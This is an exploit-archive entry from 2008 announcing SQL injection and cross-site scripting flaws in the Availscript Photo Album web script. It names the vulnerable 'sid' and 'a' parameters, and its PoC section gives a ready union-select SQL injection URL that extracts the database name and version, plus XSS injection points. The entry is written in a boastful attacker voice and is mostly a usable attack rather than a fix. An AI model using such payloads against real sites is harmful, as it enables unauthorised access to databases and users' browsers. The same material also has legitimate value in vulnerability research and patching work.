Availscript Photo Album (pics.php) Multiple Vulnerabilities

2008-09-09T00:00:00
ID 1337DAY-ID-3631
Type zdt
Reporter sl4xUz
Modified 2008-09-09T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===========================================================
Availscript Photo Album (pics.php) Multiple Vulnerabilities
===========================================================



###########################################################
# 
# Title: Availscript Photo Album (pics.php) Multiple Vulnerabilities
# Vendor: http://www.availscript.com/
# Vulnerable Version: N/A
# Fix: N/A
# 
###########################################################
# 
# d0rk: "muahaha"
# stop lammo
# 
###########################################################

######################
  1. Information
######################
     With this script you can add pictures in categories create album or wallpaper website.

######################
  2. Vulnerabilities
######################
     SQL Injection in "pics.php" in the "sid" parameter.
     Cross Site Scripting in "pics.php" in the "sid" parameter.
     Cross Site Scripting in "view.php" in the "a" parameter.

######################
  3. PoC
######################
     http://localhost/path/pics.php?sid=-1+union+select+database(),2,3,4,5,6,7,8,version(),10,11,12--
     http://localhost/path/pics.php?sid=[XSS]
     http://localhost/path/view.php?a=[XSS]

###########################################################




#  0day.today [2018-02-16]  #